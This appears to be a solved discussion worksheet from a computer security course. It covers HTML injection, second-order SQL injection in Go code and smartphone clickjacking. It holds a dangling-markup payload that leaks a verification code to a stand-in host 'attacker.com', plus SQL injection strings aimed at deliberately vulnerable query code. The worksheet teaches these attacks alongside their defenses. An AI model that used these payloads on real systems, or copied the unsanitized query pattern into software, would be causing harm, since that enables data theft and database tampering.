CS161 Spring 2026 — Introduction to Computer Security — Discussion 8

Q1 *Cross-site not scripting* **(2 points)**

Consider a simple web messaging service. You receive messages from other users. The page shows all messages sent to you. Its HTML looks like this:

```
Mallory: Do you have time for a conference call?
Steam: Your account verification code is 86423
Mallory: Where are you? This is <b>important!!!</b>
Steam: Thank you for your purchase
       <img src="https://store.steampowered.com/assets/thankyou.png">
```

The user is off buying video games from Steam, while Mallory is trying to get ahold of them.

Users can include **arbitrary HTML code** messages and it will be concatenated into the page, **unsanitized**. Sounds crazy, doesn't it? However, they have a magical technique that prevents *any* JavaScript code from running. Period.

Q1.1 (1 point) Discuss what an attacker could do to snoop on another user's messages. What specially crafted messages could Mallory have sent to steal this user's account verification code?

Solution:

```
Mallory: Hi <img src=" https://attacker.com/save?message=
Steam: Your account verification code is 86423
Mallory: "> Enjoying your weekend?
```

This makes a request to `attacker.com`, sending the account verification code as part of the URL.

Take injection attacks seriously, even if modern defenses like having a Content Security Policy effectively prevent XSS.

Q1.2 (1 point) Keeping in mind the attack you constructed in the previous part, what is a defense that can prevent against it?

Solution: Content Security Policy; We can specify the sources/domains that are allowed to be used for the `<img>` tag or specify the sources to block. This will block `<img>` tags with invalid sources and will stop the image from loading.

Q2 *Second-order linear... err I mean SQL injection* **(2 points)**

Alice likes to use a startup, `NotAmazon`, to do her online shopping. Whenever she adds an item to her cart, a POST request containing the field `item` is made. On receiving such a request, `NotAmazon` executes the following statement:

```
cart_add := fmt.Sprintf("INSERT INTO cart (session, item) " +
                        "VALUES ('%s', '%s')", sessionToken, item)
db.Exec(cart_add)
```

Each item in the cart is stored as a separate row in the `cart` table.

Q2.1 (1 point) Alice is in desperate need of some pancake mix, but the website blocks her from adding more than 72 bags to her cart. Describe a POST request she can make to cause the `cart_add` statement to add 100 bags of pancake mix to her cart.

Solution: Note that Alice can see her own cookies so knows what `sessionToken` is. She can perform some basic SQL injection by sending a POST request with the `item` field set to:

```
pancake mix'), ($sessionToken, 'pancake mix'), ... ; --
```

Where `$sessionToken` is the string value of her `sessionToken` and `($sessionToken, 'pancake mix')` repeats 99 times. A similar attack could also be done by modifying the `sessionToken` itself.

When a user visits their cart, NotAmazon populates the webpage with links to the items. If a user only has one item in their cart, NotAmazon optimizes the query (avoiding joins) by doing the following:

```
cart_query := fmt.Sprintf("SELECT item FROM cart " +
                          "WHERE session='%s' LIMIT 1", sessionToken)
item := db.Query(cart_query)
link_query = fmt.Sprintf("SELECT link FROM items WHERE item='%s'", item)
db.Query(link_query)
```

After part (a), Alice recognizes a great business opportunity and begins reselling all of NotAmazon's pancake mix at inflated prices. In a panic, NotAmazon fixes the vulnerability by parameterizing the `cart_add` statement.

Q2.2 (1 point) Alice claims that parameterizing the `cart_add` statement won't stop her pancake mix trafficking empire. Describe how she can still add 100 bags of pancake mix to her cart. Assume that `NotAmazon` checks that `sessionToken` is valid before executing any queries involving it.

Solution: Alice can send a malicious POST request like part (a). Even though her input won't change the SQL statement from (a), it will still store her string in the database. Now, if she visits her cart we'll execute the optimized query. Note that `link_query` doesn't have any injection protections, so her input will maliciously change the SQL statement. The `item` field in her POST request should be something like:

```
pancake mix'; INSERT INTO cart (session, item) VALUES
($sessionToken, 'pancake mix'), ... ; --
```

Moral of the story: Securing external facing APIs/queries is not enough.

Q3 *Clickjacking* **(3 points)**

In this question we'll investigate some of the click-jacking methods that have been used to target smartphone users.

Q3.1 (1 point) In many smartphone browsers, the address bar containing the page's URL can be hidden when the user scrolls. What types of problems can this cause?

> **Solution:** If the real address bar is hidden, it's much easier for an attacker to create and place their own on the website, fooling victims into thinking they're browsing on sites they aren't. JavaScript can scroll the page, hiding the address bar as soon as the page loads, allowing an attacker complete freedom to place a fake address bar.
>
> For more info, check out: https://www.usenix.org/legacy/event/upsec/tech/full_papers/niu/niu_html/niu_html.html (section 4.2.2)

Q3.2 (1 point) Smartphone users are used to notifications popping up over their browsers as texts and calls arrive. How can attackers use this to their advantage?

> **Solution:** By simulating an alert or popup on the website, an attacker can fool users into clicking malicious links. This can allow attackers to pose as phone applications such as texting apps or phone apps, which enables phishing.

Q3.3 (1 point) QR codes are used for various wide-ranging applications, for example: ordering at a restaurant, or providing a job link at a career fair. Can you think of any security vulnerabilities that might exist with the widespread use of QR codes?

> **Solution:** QR codes placed in public are perfect targets for people with malicious websites. They can post their own, pretending to be links to useful websites, and instead linking to phishing sites. Or, they can modify and paste over existing codes, which only keen observers would notice.